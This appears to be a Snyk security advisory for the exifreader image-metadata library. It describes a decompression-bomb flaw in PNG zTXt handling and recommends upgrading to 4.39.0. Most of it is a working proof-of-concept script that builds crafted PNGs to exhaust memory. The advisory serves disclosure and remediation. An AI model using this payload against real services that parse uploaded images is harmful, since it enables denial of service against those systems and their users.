Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade exifreader to version 4.39.0 or higher.
exifreader is a Library that parses Exif metadata in images.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) due to decompressing PNG zTXt metadata without enforcing a built-in maximum decompressed output size. When asynchronous parsing is enabled, a crafted PNG file containing a highly compressed zTXt chunk can cause ExifReader to materialize a disproportionately large Comment value in memory.
import { deflateSync } from 'node:zlib'
import ExifReader from 'exifreader'
const MiB = 1024 * 1024
function chunk(type, data = Buffer.alloc(0)) {
const out = Buffer.alloc(12 + data.length)
out.writeUInt32BE(data.length, 0)
out.write(type, 4, 'ascii')
data.copy(out, 8)
out.writeUInt32BE(0, 8 + data.length)
return out
}
async function run(configuredMiB) {
const compressed = deflateSync(Buffer.alloc(configuredMiB * MiB, 0x41), {
level: 9
})
const png = Buffer.concat([
Buffer.from('89504e470d0a1a0a', 'hex'),
chunk('IHDR', Buffer.from('00000001000000010806000000', 'hex')),
chunk('zTXt', Buffer.concat([
Buffer.from('Comment\0', 'latin1'),
Buffer.from([0x00]),
compressed
])),
chunk('IEND')
])
const tags = await ExifReader.load(png, { async: true })
console.log({
configuredMiB,
pngInputBytes: png.length,
commentLength: tags.Comment.value.length
})
}
for (const configuredMiB of [32, 64, 128]) {
await run(configuredMiB)
}